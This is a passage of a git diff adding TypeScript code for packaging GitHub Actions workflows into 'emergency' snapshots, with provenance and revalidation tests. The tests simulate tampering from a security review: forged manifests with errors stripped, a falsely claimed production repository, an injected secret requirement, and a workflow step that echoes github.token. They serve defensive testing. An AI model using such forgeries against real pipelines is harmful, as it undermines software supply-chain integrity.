} + }; + + const scanRun = (run: string, workingDirectory: string | undefined, where: string, tree: Map): string[] => { + for (const [pattern, what] of NETWORK_HINTS) if (pattern.test(run)) need(services, what, where); + const scripts: string[] = []; + const base = workingDirectory ? normalizePath(workingDirectory.replace(/^\.\//, "")) : ""; + for (const m of run.matchAll(/(?:^|[\s"'=(])(\.?\/?[\w./-]+\.(?:py|sh|bash|js|mjs|cjs))(?=$|[\s"');|&])/gm)) { + const raw = m[1]!.replace(/^\.\//, ""); + if (raw.includes("${{")) continue; + const candidates = [base ? `${base}/${raw}` : raw, raw].map((p) => normalizePath(p)).filter((p): p is string => !!p); + const found = candidates.find((p) => tree.has(p)); + if (found) scripts.push(found); + else if (/^(?:python3?|bash|sh|node)\s/.test(run.slice(Math.max(0, (m.index ?? 0) - 10)).trimStart()) || raw.includes("/")) { + diag("warning", "script-missing", `Script "${raw}" referenced in run: was not found in the packaged files (it may be created at run time)`, where); + } + if (/\.py$/.test(raw)) runtimes.add("python"); + if (/\.(?:sh|bash)$/.test(raw)) runtimes.add("bash"); + if (/\.(?:js|mjs|cjs)$/.test(raw)) runtimes.add("node"); + } + if (/\bpython3?\b/.test(run)) runtimes.add("python"); + if (/\bnode\b/.test(run)) runtimes.add("node"); + return [...new Set(scripts)]; + }; + + const checkShell = (shell: string | undefined, where: string) => { + const s = (shell ?? "bash").trim(); + if (/^(?:bash|sh|python)$/.test(s) || /^(?:bash|sh|python3?)\b.*\{0\}/.test(s)) { + runtimes.add(s.startsWith("python") ? "python" : s.startsWith("sh") ? "sh" : "bash"); + return s; + } + diag("error", "shell", `shell: ${s} is not available in the emergency runner (bash, sh and python are)`, where); + return s; + }; + + /** Checks a JavaScript action's entry point and the packages it imports. */ + const checkNodeAction = async (root: Root, dir: string, action: ActionDef, where: string) => { + runtimes.add("node"); + if (/^node(?:12|16)$/.test(action.runtime)) diag("error", "node-runtime", `${action.runtime} actions are deprecated by GitHub and not supported`, where); + else if (action.runtime !== "node22") diag("warning", "node-runtime", `${action.runtime} action runs on the runner image's Node.js 22`, where); + if (action.pre) diag("error", "action-pre", "Actions with a pre: script are not supported", where); + if (!action.main) { + diag("error", "action-main", "JavaScript action has no runs.main", where); + return; + } + const main = normalizePath(dir ? `${dir}/${action.main.replace(/^\.\//, "")}` : action.main.replace(/^\.\//, "")); + if (!main || !root.tree.has(main)) { + diag("error", "action-main", `Entry point ${action.main} is not in ${root.repository}@${root.sha.slice(0, 7)}`, where); + return; + } + for (const entry of [main, ...(action.post ? [normalizePath(dir ? `${dir}/${action.post}` : action.post)] : [])]) { + if (!entry || !root.tree.has(entry)) continue; + const code = await readText(root, entry); + const specifiers = new Set(); + for (const m of code.matchAll(/\brequire\(\s*["']([^"']+)["']\s*\)|\bfrom\s*["']([^"']+)["']|\bimport\(\s*["']([^"']+)["']\s*\)|^\s*import\s+["']([^"']+)["']/gm)) { + specifiers.add((m[1] ?? m[2] ?? m[3] ?? m[4])!); + } + for (const spec of specifiers) { + if (spec.startsWith(".") || spec.startsWith("/")) continue; + const bare = spec.replace(/^node:/, ""); + if (NODE_BUILTINS.has(bare.split("/")[0]!)) continue; + const pkg = bare.startsWith("@") ? bare.split("/").slice(0, 2).join("/") : bare.split("/")[0]!; + const dirs = entry.split("/").slice(0, -1); + let found = false; + for (let i = dirs.length; i >= 0 && !found; i--) { + const prefix = [...dirs.slice(0, i), "node_modules", pkg].join("/"); + found = [...root.tree.keys()].some((p) => p.startsWith(`${prefix}/`)); + } + if (!found) diag("error", "action-dependency", `${entry} imports "${spec}", but node_modules/${pkg} is not packaged with the action (bundle it, or commit node_modules)`, where); + } + } + }; + + const findActionFile = (root: Root, dir: string) => ["action.yml", "action.yaml"].map((f) => (dir ? `${dir}/${f}` : f)).find((p) => root.tree.has(p)); + + /** Resolves one `uses:` step (recursively for composite actions). Returns the graph step. */ + const resolveStepAction = async (step: StepDef, where: string, depth: number): Promise => { + const label = step.name ?? step.id ?? step.uses!; + const u = parseUses(step.uses!); + const graph: GraphStep = { index: step.index, label, kind: "action", scripts: [] }; + if (u.kind === "invalid") { + diag("error", "uses", `Invalid uses: ${step.uses}`, where); + return graph; + } + if (u.kind === "docker") { + diag("error", "docker-action", `Docker actions (${step.uses}) are not supported`, where); + return graph; + } + if (isCheckout(u)) { + graph.kind = "checkout"; + const repoInput = step.with.repository; + if (repoInput && repoInput.toLowerCase() !== opts.repository.toLowerCase() && !repoInput.includes("${{")) diag("error", "checkout", `Checking out another repository (${repoInput}) needs GitHub`, where); + if (step.with.ref && !step.with.ref.includes("${{")) diag("warning", "checkout", `checkout ref "${step.with.ref}" is ignored: the packaged workspace is the snapshot commit`, where); + if (step.with.path) diag("error", "checkout", "checkout with path: is not supported", where); + for (const k of Object.keys(step.with)) if (!["repository", "ref", "path", "fetch-depth", "token", "persist-credentials", "clean", "lfs", "submodules"].includes(k)) diag("warning", "checkout", `checkout input ${k} is ignored`, where); + if (step.with.submodules && step.with.submodules !== "false") diag("error", "checkout", "Submodules are not packaged", where); + if (step.with.lfs === "true") diag("error", "checkout", "Git LFS content is not packaged", where); + actions.set(step.uses!, { key: step.uses!, root: WORKSPACE, dir: "", file: "", using: "checkout", runtime: "", substitutedBy: "packaged-workspace" }); + diag("info", "checkout-substituted", `${step.uses} is replaced by restoring the packaged workspace at ${sha.slice(0, 7)}`, where); + return graph; + } + if (depth > LIMITS.maxDepth) { + diag("error", "depth", "Composite actions are nested too deeply", where); + return graph; + } + let root: Root; + let dir: string; + if (u.kind === "local") { + root = workspace; + dir = u.path; + } else { + const service = GITHUB_SERVICE_ACTIONS[`${u.owner}/${u.repo}`.toLowerCase()]; + if (service) diag("error", "github-service", `${step.uses} ${service}, which is unavailable during a GitHub outage`, where); + const resolved = await resolveRemote(u.owner, u.repo, u.ref, where); + if (!resolved) return graph; + root = await loadRoot(`${u.owner}/${u.repo}`, u.ref, resolved, "action", repoRoot(u.owner, u.repo, resolved)); + dir = u.path; + } + graph.action = step.uses!; + const file = findActionFile(root, dir); + if (!file) { + diag("error", "action-missing", `No action.yml in ${root.repository}${dir ? `/${dir}` : ""}@${root.sha.slice(0, 7)}`, where); + return graph; + } + if (actions.has(step.uses!)) return graph; + let action: ActionDef; + try { + action = parseAction(`${root.repository}/${file}`, await readText(root, file)); + } catch (error) { + diag("error", "action-invalid", (error as Error).message, where); + return graph; + } + actions.set(step.uses!, { key: step.uses!, root: root.id, dir, file, using: action.using, runtime: action.runtime }); + const actionWhere = `${step.uses}`; + for (const [name, spec] of Object.entries(action.inputs)) { + if (spec.required && !(name in step.with) && spec.default === undefined) diag("warning", "action-input", `Required input "${name}" is not set`, where); + if (spec.default && /github\.token/.test(spec.default) && !(name in step.with)) diag("warning", "github-token", `Input "${name}" defaults to github.token, which will be empty`, actionWhere); + } + if (action.using === "node") await checkNodeAction(root, dir, action, actionWhere); + else if (action.using === "composite") { + const inner: Scope = { secretsTopLevel: false, inherit: false, composite: true }; + for (const s of action.steps) { + const w = `${actionWhere} step ${s.index + 1}`; + await resolveStep(s, w, depth + 1, inner, root.tree, true); + } + for (const v of Object.values(action.outputs)) checkText(v, actionWhere, inner); + } else diag("error", "action-type", `${action.runtime || "unknown"} actions are not supported (${step.uses})`, where); + return graph; + }; + + const resolveStep = async (step: StepDef, where: string, depth: number, scope: Scope, tree: Map, composite = false): Promise => { + checkText(step.if, where, scope, true); + for (const v of [...Object.values(step.with), ...Object.values(step.env), step.workingDirectory]) checkText(v, where, scope); + if (step.continueOnError !== false && typeof step.continueOnError !== "boolean") checkText(step.continueOnError, where, scope); + if (step.run !== undefined) { + checkText(step.run, where, scope); + if (composite && !step.shell) diag("error", "shell", "Composite run steps must set shell:", where); + const shell = checkShell(step.shell, where); + return { index: step.index, label: step.name ?? step.id ?? step.run.split("\n")[0]!.slice(0, 60), kind: "run", shell, scripts: scanRun(step.run, step.workingDirectory, where, tree) }; + } + if (step.uses) return resolveStepAction(step, where, depth); + diag("error", "step", "Step has neither run: nor uses:", where); + return { index: step.index, label: step.name ?? `step ${step.index + 1}`, kind: "run", scripts: [] }; + }; + + const workflowKeys = new Set(); + /** Resolves a workflow (entry or called). `scope` decides whether its secrets are requirements of the caller. */ + const resolveWorkflow = async (root: Root, path: string, key: string, depth: number, scope: Scope, chain: string[]): Promise => { + if (chain.includes(key)) { + diag("error", "cycle", `Reusable workflow cycle: ${[...chain, key].join(" → ")}`, key); + return null; + } + if (depth > LIMITS.maxDepth) { + diag("error", "depth", "Reusable workflows are nested too deeply", key); + return null; + } + if (!root.tree.has(path)) { + diag("error", "workflow-missing", `${path} is not in ${root.repository}@${root.sha.slice(0, 7)}`, key); + return null; + } + progress(`Resolving ${key}…`); + let wf: WorkflowDef; + try { + wf = parseWorkflow(path, await readText(root, path)); + } catch (error) { + diag("error", "workflow-invalid", error instanceof DefinitionError ? error.message : String(error), key); + return null; + } + if (root.id !== WORKSPACE) workflowFiles.add(`${root.id}:${path}`); + // A called workflow sees only the secrets it declares (unless they are inherited). + if (!scope.secretsTopLevel && !scope.inherit && wf.call) scope = { ...scope, declaredSecrets: new Set(Object.keys(wf.call.secrets).map((s) => s.toLowerCase())) }; + const entry: WorkflowEntry = { key, root: root.id, path, name: wf.name, jobs: [] }; + if (!workflowKeys.has(key)) { + workflowKeys.add(key); + workflows.push(entry); + } + for (const v of Object.values(wf.env)) checkText(v, key, scope); + const jobIds = new Set(wf.jobs.map((j) => j.id)); + for (const job of wf.jobs) { + const where = `${key} job ${job.id}`; + for (const n of job.needs) if (!jobIds.has(n)) diag("error", "needs", `needs: ${n} is not a job in this workflow`, where); + for (const k of job.unsupportedKeys) diag("error", "job-feature", `${k}: is not supported by the emergency runner`, where); + for (const k of job.ignoredKeys) diag("warning", "job-ignored", `${k}: is not enforced in emergency runs${k === "environment" ? " (no protection rules, environment secrets or deployment records)" : k === "runs-on" ? " (every job runs in the emergency runner image)" : ""}`, where); + checkText(job.if, where, scope, true); + for (const v of Object.values(job.env)) checkText(v, where, scope); + const graphJob: GraphJob = { id: job.id, name: job.name, needs: job.needs, kind: job.uses ? "call" : "steps", steps: [] }; + if (job.uses) await resolveCall(job, where, depth, scope, chain.concat(key), graphJob); + else { + for (const v of Object.values(job.outputs)) checkText(v, where, scope); + if (!job.steps.length) diag("error", "job-empty", "Job has no steps", where); + for (const step of job.steps) graphJob.steps.push(await resolveStep(step, `${where} step ${step.index + 1}`, depth, scope, workspace.tree)); + } + entry.jobs.push(graphJob); + } + if (wf.call) for (const v of Object.values(wf.call.outputs)) checkText(v, key, { ...scope, allowJobs: true }); + detectNeedsCycle(wf.jobs, key); + return wf; + }; + + const detectNeedsCycle = (jobs: JobDef[], key: string) => { + const state = new Map(); + const byId = new Map(jobs.map((j) => [j.id, j])); + const visit = (id: string): boolean => { + if (state.get(id) === 1) return true; + if (state.get(id) === 2) return false; + state.set(id, 1); + const cyclic = (byId.get(id)?.needs ?? []).some((n) => byId.has(n) && visit(n)); + state.set(id, 2); + return cyclic; + }; + if (jobs.some((j) => visit(j.id))) diag("error", "needs-cycle", "Jobs depend on each other in a cycle", key); + }; + + const resolveCall = async (job: JobDef, where: string, depth: number, scope: Scope, chain: string[], graphJob: GraphJob) => { + const u = parseUses(job.uses!); + for (const v of Object.values(job.with)) checkText(v, where, scope); + if (job.secrets !== "inherit") for (const v of Object.values(job.secrets)) checkText(v, where, scope); + let root: Root; + let path: string; + if (u.kind === "local" && isWorkflowPath(u.path)) { + root = workspace; + path = u.path; + } else if (u.kind === "remote" && isWorkflowPath(u.path)) { + const resolved = await resolveRemote(u.owner, u.repo, u.ref, where); + if (!resolved) return; + root = await loadRoot(`${u.owner}/${u.repo}`, u.ref, resolved, "workflow", repoRoot(u.owner, u.repo, resolved)); + path = u.path; + } else { + diag("error", "reusable", `uses: ${job.uses} is not a reusable workflow under .github/workflows`, where); + return; + } + const key = root.id === WORKSPACE ? `./${path}` : job.uses!; + graphJob.calls = key; + const inherit = job.secrets === "inherit"; + const callee = await resolveWorkflow(root, path, key, depth + 1, { secretsTopLevel: false, inherit: inherit && (scope.secretsTopLevel || scope.inherit), declaredSecrets: undefined }, chain); + if (!callee) return; + if (!callee.call) { + diag("error", "reusable", `${key} has no on: workflow_call`, where); + return; + } + for (const k of Object.keys(job.with)) if (!(k in callee.call.inputs)) diag("error", "reusable-input", `Input "${k}" is not declared by ${key}`, where); + for (const [k, spec] of Object.entries(callee.call.inputs)) if (spec.required && !(k in job.with) && spec.default === undefined) diag("error", "reusable-input", `Required input "${k}" of ${key} is not passed`, where); + if (!inherit) { + const passed = job.secrets as Record; + for (const k of Object.keys(passed)) if (!(k in callee.call.secrets)) diag("error", "reusable-secret", `Secret "${k}" is not declared by ${key}`, where); + for (const [k, spec] of Object.entries(callee.call.secrets)) if (spec.required && !(k in passed)) diag("error", "reusable-secret", `Required secret "${k}" of ${key} is not passed`, where); + } + }; + + // Entry workflows: their inputs and secrets are what the operator supplies at execution time. + for (const path of opts.workflows) { + const clean = normalizePath(path); + if (!clean || !isWorkflowPath(clean)) throw new PrepareError(`${path} is not a workflow file under .github/workflows`); + const wf = await resolveWorkflow(workspace, clean, clean, 0, { secretsTopLevel: true, inherit: false }, []); + if (!wf) continue; + inputs[clean] = { ...wf.dispatchInputs, ...(wf.call?.inputs ?? {}) }; + const triggers = wf.triggers.filter((t) => t !== "workflow_dispatch"); + if (triggers.length) diag("info", "triggers", `Triggers (${triggers.join(", ")}) are not reproduced: an emergency run starts manually, like workflow_dispatch, with only its inputs`, clean); + } + + // Packaging: the workspace (or the selected prefixes), whole repositories of external actions, and the files of + // external reusable workflows. + const include = (opts.include ?? []).map((p) => normalizePath(p.replace(/^\.\//, ""))).filter((p): p is string => p !== null && p !== ""); + const wanted = (root: Root, path: string) => { + if (root.id === WORKSPACE) { + if (/^\.git\//.test(path)) return false; + if (!include.length) return true; + return path.startsWith(".github/") || include.some((p) => path === p || path.startsWith(`${p}/`)); + } + return root.whole || workflowFiles.has(`${root.id}:${path}`); + }; + const plan: { root: Root; path: string; size: number }[] = []; + for (const root of roots.values()) { + let count = 0; + for (const [path, size] of root.tree) { + if (!wanted(root, path)) { + root.omitted++; + continue; + } + if (size > LIMITS.maxFileBytes) { + root.omitted++; + diag("error", "file-too-large", `${root.repository}/${path} is larger than ${LIMITS.maxFileBytes} bytes`, root.id); + continue; + } + plan.push({ root, path, size }); + count++; + } + if (root.id !== WORKSPACE && count > LIMITS.maxRepoFiles) diag("error", "limits", `${root.repository} has ${count} files (limit ${LIMITS.maxRepoFiles})`, root.id); + } + for (const root of roots.values()) if (root.id === WORKSPACE) for (const s of workflows.flatMap((w) => w.jobs.flatMap((j) => j.steps.flatMap((st) => st.scripts)))) if (!wanted(root, s)) diag("error", "excluded-script", `Script ${s} is used but excluded from the packaged files`, s); + const totalBytes = plan.reduce((n, f) => n + f.size, 0); + if (plan.length > LIMITS.maxFiles) throw new PrepareError(`Too many files to package: ${plan.length} (limit ${LIMITS.maxFiles}). Choose supporting-file prefixes.`); + if (totalBytes > LIMITS.maxBytes) throw new PrepareError(`Too much data to package: ${totalBytes} bytes (limit ${LIMITS.maxBytes}). Choose supporting-file prefixes.`); + + const contents = new Map(); + const files: FileEntry[] = []; + let done = 0; + const queue = [...plan]; + const worker = async () => { + for (let item = queue.shift(); item; item = queue.shift()) { + const data = await read(item.root, item.path); + const hash = await sha256Hex(data); + contents.set(hash, data); + const gitBlob = item.root.blobs.get(item.path); + files.push({ root: item.root.id, path: item.path, size: data.length, sha256: hash, ...(item.root.executable.has(item.path) ? { executable: true } : {}), ...(gitBlob ? { gitBlob } : {}) }); + if (++done % 25 === 0) progress(`Packaged ${done} of ${plan.length} files…`); + } + }; + await Promise.all(Array.from({ length: 6 }, worker)); + files.sort((a, b) => (a.root === b.root ? a.path.localeCompare(b.path) : a.root.localeCompare(b.root))); + + const reqList = (map: Map>): Requirement[] => + [...map.entries()].sort(([a], [b]) => a.localeCompare(b)).map(([name, where]) => ({ name, usedBy: [...where].sort() })); + for (const r of runtimes) if (!["bash", "sh", "python", "node"].includes(r)) diag("error", "runtime", `Runtime ${r} is not in the runner image`); + const order = { error: 0, warning: 1, info: 2 } as const; + diagnostics.sort((a, b) => order[a.severity] - order[b.severity]); + const created = new Date(now.getTime()); + const manifest: Manifest = { + schema: SNAPSHOT_SCHEMA, + name: opts.name.trim(), + createdAt: created.toISOString(), + expiresAt: new Date(created.getTime() + opts.expiresInDays * 86_400_000).toISOString(), + source: { repository: opts.repository, ref: opts.ref, sha }, + entryWorkflows: opts.workflows.map((p) => normalizePath(p)!), + roots: [...roots.values()].map((r) => ({ + id: r.id, + repository: r.repository, + ref: r.ref, + sha: r.sha, + kind: r.kind, + ...(r.gitTree ? { gitTree: r.gitTree, complete: r.omitted === 0 && r.skipped === 0 && r.blobs.size === r.tree.size } : {}), + })), + workflows, + actions: [...actions.values()], + files, + requirements: { + secrets: reqList(secrets), + variables: reqList(variables), + inputs, + runtimes: [...runtimes].sort(), + externalServices: reqList(services), + }, + diagnostics, + totals: { files: files.length, bytes: files.reduce((n, f) => n + f.size, 0) }, + }; + return { manifest, contents }; +} diff --git a/src/emergency/provenance.test.ts b/src/emergency/provenance.test.ts new file mode 100644 index 0000000..92eae1c --- /dev/null +++ b/src/emergency/provenance.test.ts @@ -0,0 +1,86 @@ +import { fileURLToPath } from "node:url"; +import { describe, expect, it } from "vitest"; +import { DEMO_REPO, DEMO_SHA, demoRepos } from "../../tools/emergency/demo-repos.ts"; +import type { GitHubClient } from "../github/client"; +import { GitHubError } from "../github/client"; +import { createMemoryReader } from "./memory-reader.ts"; +import { prepareSnapshot } from "./prepare.ts"; +import { checkProvenance } from "./provenance.ts"; +import { revalidateSnapshot } from "./revalidate.ts"; +import type { FileEntry, Manifest } from "./snapshot.ts"; + +const root = fileURLToPath(new URL("../..", import.meta.url)); +const NOW = new Date("2026-10-30T12:00:00Z"); + +async function snapshot(include?: string[]) { + const reader = createMemoryReader(demoRepos(root)); + const { manifest, contents } = await prepareSnapshot(reader, { repository: DEMO_REPO, ref: "main", workflows: [".github/workflows/release.yml"], name: "demo", expiresInDays: 3, include }, NOW); + const { integrity } = await revalidateSnapshot(manifest, async (f: FileEntry) => contents.get(f.sha256), NOW); + return { manifest, integrity, reader }; +} + +/** A GitHub stand-in: commit trees and file lists come from a memory reader, unless overridden. */ +function github(reader: ReturnType, overrides: { commitTree?: (repo: string, sha: string) => string | Error } = {}) { + return { + async getCommitTree(ref: { owner: string; repo: string }, sha: string) { + const repository = `${ref.owner}/${ref.repo}`; + const o = overrides.commitTree?.(repository, sha); + if (o instanceof Error) throw o; + if (o) return o; + return (await reader.treeInfo!(repository, sha)).treeSha; + }, + async getTree(ref: { owner: string; repo: string }, sha: string) { + const repository = `${ref.owner}/${ref.repo}`; + const files = await reader.listFiles(repository, sha); + return { treeSha: (await reader.treeInfo!(repository, sha)).treeSha, skipped: 0, files: files.map((f) => ({ path: f.path, size: f.size, sha: f.gitBlob!, executable: f.executable ?? false })) }; + }, + } as unknown as GitHubClient; +} + +describe("provenance against GitHub (H1)", () => { + it("verified when GitHub's commit points to the tree the executor verified", async () => { + const { manifest, integrity, reader } = await snapshot(); + const p = await checkProvenance(github(reader), manifest, integrity, NOW); + expect(p.status).toBe("verified"); + expect(p.roots.map((r) => r.status)).toEqual(["verified", "verified"]); + }); + + it("failed when the claimed commit has a different tree on GitHub (mismatched commit/tree relationship)", async () => { + const { manifest, integrity, reader } = await snapshot(); + const p = await checkProvenance(github(reader, { commitTree: (repo) => (repo === DEMO_REPO ? "9".repeat(40) : "") }), manifest, integrity, NOW); + expect(p.status).toBe("failed"); + expect(p.roots[0]).toMatchObject({ status: "failed", detail: expect.stringMatching(/has tree 999999999999, but the snapshot claims tree/) }); + }); + + it("failed when GitHub has no such commit; unverified when GitHub can't be asked", async () => { + const { manifest, integrity, reader } = await snapshot(); + const missing = await checkProvenance(github(reader, { commitTree: () => new GitHubError({ kind: "not-found-or-no-permission" }) }), manifest, integrity, NOW); + expect(missing.status).toBe("failed"); + const offline = await checkProvenance(github(reader, { commitTree: () => new GitHubError({ kind: "network" }) }), manifest, integrity, NOW); + expect(offline.status).toBe("unverified"); + }); + + it("a forged source repository fails: its commit doesn't exist there", async () => { + const { manifest, integrity, reader } = await snapshot(); + const forged: Manifest = { ...manifest, roots: manifest.roots.map((r, i) => (i === 0 ? { ...r, repository: "acme/production-deploy" } : r)) }; + const p = await checkProvenance(github(reader, { commitTree: (repo) => (repo === "acme/production-deploy" ? new GitHubError({ kind: "not-found-or-no-permission" }) : "") }), forged, integrity, NOW); + expect(p.roots[0]).toMatchObject({ status: "failed", repository: "acme/production-deploy" }); + }); + + it("partial roots compare every packaged file with GitHub; one differing file fails", async () => { + const { manifest, integrity, reader } = await snapshot(["src"]); + expect(integrity[0]!.status).toBe("blobs-verified"); + expect((await checkProvenance(github(reader), manifest, integrity, NOW)).roots[0]!.status).toBe("verified"); + const altered: Manifest = { ...manifest, files: manifest.files.map((f) => (f.path === "src/app/VERSION" ? { ...f, gitBlob: "1".repeat(40) } : f)) }; + const p = await checkProvenance(github(reader), altered, integrity, NOW); + expect(p.roots[0]).toMatchObject({ status: "failed", detail: expect.stringMatching(/src\/app\/VERSION/) }); + }); + + it("unverified for snapshots without Git IDs, and when the executor couldn't verify the content", async () => { + const { manifest, integrity, reader } = await snapshot(); + const legacy: Manifest = { ...manifest, roots: manifest.roots.map((r) => ({ id: r.id, repository: r.repository, ref: r.ref, sha: r.sha, kind: r.kind })) }; + expect((await checkProvenance(github(reader), legacy, integrity, NOW)).status).toBe("unverified"); + expect((await checkProvenance(github(reader), manifest, undefined, NOW)).status).toBe("unverified"); + expect(DEMO_SHA).toMatch(/^1+$/); + }); +}); diff --git a/src/emergency/provenance.ts b/src/emergency/provenance.ts new file mode 100644 index 0000000..7894973 --- /dev/null +++ b/src/emergency/provenance.ts @@ -0,0 +1,74 @@ +// Provenance of a stored snapshot (security review H1), checked live in the browser against GitHub with the +// operator's own read-only token. It answers the question the executor can't: is the content the executor verified +// (content integrity, a Git tree or Git blobs) really the claimed commit of the claimed repository? +// - verified: GitHub says the commit exists and points to the tree whose content the executor verified (or, for a +// partial root, every packaged file has GitHub's blob ID at that path and mode); +// - failed: GitHub contradicts the snapshot (no such commit, another tree, other files); +// - unverified: it can't be decided (no Git IDs in the snapshot, the executor couldn't verify the content, or GitHub +// couldn't be asked). +// The result is shown to whoever asked and never sent to the executor, which must not rely on a client's claim. +import type { GitHubClient } from "../github/client"; +import { GitHubError } from "../github/client"; +import type { Manifest, RootIntegrity } from "./snapshot.ts"; + +export type ProvenanceStatus = "verified" | "failed" | "unverified"; +export type RootProvenance = { repository: string; sha: string; kind: string; status: ProvenanceStatus; detail: string }; +export type Provenance = { status: ProvenanceStatus; checkedAt: string; roots: RootProvenance[] }; + +const repoRef = (repository: string) => { + const [owner, repo] = repository.split("/") as [string, string]; + return { owner, repo }; +}; + +export async function checkProvenance(client: GitHubClient, manifest: Manifest, integrity: RootIntegrity[] | undefined, now = new Date()): Promise { + const roots: RootProvenance[] = []; + for (const root of manifest.roots) { + const base = { repository: root.repository, sha: root.sha, kind: root.kind }; + const verifiedContent = integrity?.find((i) => i.root === root.id); + if (!root.gitTree) { + roots.push({ ...base, status: "unverified", detail: "The snapshot has no Git object IDs (prepared before they were recorded)" }); + continue; + } + let commitTree: string; + try { + commitTree = await client.getCommitTree(repoRef(root.repository), root.sha); + } catch (error) { + const missing = error instanceof GitHubError && (error.failure.kind === "not-found-or-no-permission" || (error.failure.kind === "http-error" && error.failure.status === 422)); + roots.push({ + ...base, + status: missing ? "failed" : "unverified", + detail: missing ? `GitHub has no commit ${root.sha} in ${root.repository} (or this token can't see it)` : `GitHub could not be asked: ${(error as Error).message}`, + }); + continue; + } + if (commitTree !== root.gitTree) { + roots.push({ ...base, status: "failed", detail: `On GitHub, commit ${root.sha.slice(0, 12)} has tree ${commitTree.slice(0, 12)}, but the snapshot claims tree ${root.gitTree.slice(0, 12)}` }); + continue; + } + if (verifiedContent?.status === "tree-verified") { + roots.push({ ...base, status: "verified", detail: `GitHub: commit ${root.sha.slice(0, 12)} has tree ${commitTree.slice(0, 12)}; the executor verified the packaged files are exactly that tree` }); + continue; + } + if (verifiedContent?.status === "blobs-verified") { + const packaged = manifest.files.filter((f) => f.root === root.id); + let tree: Awaited>; + try { + tree = await client.getTree(repoRef(root.repository), root.sha); + } catch (error) { + roots.push({ ...base, status: "unverified", detail: `GitHub's file list could not be read: ${(error as Error).message}` }); + continue; + } + const onGitHub = new Map(tree.files.map((f) => [f.path, f])); + const wrong = packaged.filter((f) => onGitHub.get(f.path)?.sha !== f.gitBlob || (onGitHub.get(f.path)?.executable ?? false) !== (f.executable ?? false)); + roots.push( + wrong.length + ? { ...base, status: "failed", detail: `${wrong.length} packaged file(s) differ from commit ${root.sha.slice(0, 12)} on GitHub, e.g. ${wrong[0]!.path}` } + : { ...base, status: "verified", detail: `GitHub: commit ${root.sha.slice(0, 12)} has tree ${commitTree.slice(0, 12)}, and all ${packaged.length} packaged files match it` }, + ); + continue; + } + roots.push({ ...base, status: "unverified", detail: "The executor could not verify this content against its Git IDs" }); + } + const status: ProvenanceStatus = roots.some((r) => r.status === "failed") ? "failed" : roots.length > 0 && roots.every((r) => r.status === "verified") ? "verified" : "unverified"; + return { status, checkedAt: now.toISOString(), roots }; +} diff --git a/src/emergency/revalidate.test.ts b/src/emergency/revalidate.test.ts new file mode 100644 index 0000000..73a1667 --- /dev/null +++ b/src/emergency/revalidate.test.ts @@ -0,0 +1,145 @@ +import { fileURLToPath } from "node:url"; +import { describe, expect, it } from "vitest"; +import { DEMO_REPO, demoRepos } from "../../tools/emergency/demo-repos.ts"; +import { treeShaSync } from "../../tools/fixture-server/emergency-demo.ts"; +import { gitBlobId, gitTreeId } from "./git-objects.ts"; +import { createMemoryReader } from "./memory-reader.ts"; +import { prepareSnapshot } from "./prepare.ts"; +import { revalidateSnapshot } from "./revalidate.ts"; +import { sha256Hex, verifySnapshot, type FileEntry, type Manifest } from "./snapshot.ts"; + +const root = fileURLToPath(new URL("../..", import.meta.url)); +const NOW = new Date("2026-10-30T12:00:00Z"); +const opts = { repository: DEMO_REPO, ref: "main", workflows: [".github/workflows/release.yml"], name: "release demo", expiresInDays: 30 }; +const enc = new TextEncoder(); + +async function prepared(changes: Record = {}) { + const repos = demoRepos(root); + Object.assign(repos[DEMO_REPO]!.files, changes); + const { manifest, contents } = await prepareSnapshot(createMemoryReader(repos), opts, NOW); + return { manifest, contents, contentOf: async (f: FileEntry) => contents.get(f.sha256) }; +} +const clone = (m: Manifest): Manifest => JSON.parse(JSON.stringify(m)) as Manifest; + +describe("server-side validation (security review H1)", () => { + it("an honest snapshot rebuilds identically: executable, and both roots are verified Git trees", async () => { + const { manifest, contentOf } = await prepared(); + const r = await revalidateSnapshot(manifest, contentOf, NOW); + expect(r.mismatches).toEqual([]); + expect(r.validation).toMatchObject({ by: "executor", executable: true }); + expect(r.integrity.map((i) => [i.repository, i.status])).toEqual([ + [DEMO_REPO, "tree-verified"], + ["demo-org/shared-actions", "tree-verified"], + ]); + }); + + it("the review's forged snapshot is rejected: errors stripped and a different repository and commit claimed", async () => { + // The exact attack demonstrated in the review: a workflow the validator refuses (matrix, github.token), uploaded with + // its errors removed and a production source claimed. + const { manifest, contentOf } = await prepared({ ".github/workflows/release.yml": "on: workflow_dispatch\njobs:\n j:\n runs-on: x\n strategy:\n matrix:\n n: [1]\n steps:\n - run: echo ${{ github.token }}\n" }); + expect(manifest.diagnostics.filter((d) => d.severity === "error").map((d) => d.code)).toEqual(expect.arrayContaining(["job-feature", "github-token"])); + const stripped = { ...clone(manifest), diagnostics: [] }; + const r1 = await revalidateSnapshot(stripped, contentOf, NOW); + expect(r1.validation.executable).toBe(false); + expect(r1.mismatches.join("\n")).toMatch(/under-reports validation errors/); + const forgedSource = { ...stripped, source: { repository: "acme/production-deploy", ref: "main", sha: "f".repeat(40) } }; + const r2 = await revalidateSnapshot(forgedSource, contentOf, NOW); + expect(r2.validation.executable).toBe(false); + expect(r2.mismatches.join("\n")).toMatch(/could not rebuild the pipeline/); + }); + + it("claims that don't match the content are rejected: requirements, graph, actions, roots and totals", async () => { + const { manifest, contentOf } = await prepared(); + const tampers: [string, (m: Manifest) => void, RegExp][] = [ + ["extra secret", (m) => m.requirements.secrets.push({ name: "PROD_DB_PASSWORD", usedBy: ["x"] }), /requirements/], + ["hidden secret", (m) => (m.requirements.secrets = []), /requirements/], + ["renamed job", (m) => (m.workflows[0]!.jobs[0]!.id = "innocent"), /execution graph/], + ["action type", (m) => (m.actions.find((a) => a.using === "node")!.using = "composite"), /actions/], + ["root ref", (m) => (m.roots[1]!.ref = "v9"), /roots/], + ["totals", (m) => (m.totals.files += 1), /totals/], + ]; + for (const [name, tamper, expected] of tampers) { + const m = clone(manifest); + tamper(m); + const r = await revalidateSnapshot(m, contentOf, NOW); + expect(r.mismatches.join("\n"), name).toMatch(expected); + expect(r.validation.executable, name).toBe(false); + } + }); + + it("errors the uploader declares but the executor doesn't find still make it non-executable (claims can only be stricter)", async () => { + const { manifest, contentOf } = await prepared(); + const m = clone(manifest); + m.diagnostics.unshift({ severity: "error", code: "self-declared", message: "do not run" }); + const r = await revalidateSnapshot(m, contentOf, NOW); + expect(r.mismatches).toEqual([]); + expect(r.validation.executable).toBe(false); + }); + + it("a snapshot made before Git IDs still validates, with its integrity honestly unverified", async () => { + const { manifest, contentOf } = await prepared(); + const legacy = clone(manifest); + for (const f of legacy.files) delete f.gitBlob; + for (const r of legacy.roots) { + delete r.gitTree; + delete r.complete; + } + const r = await 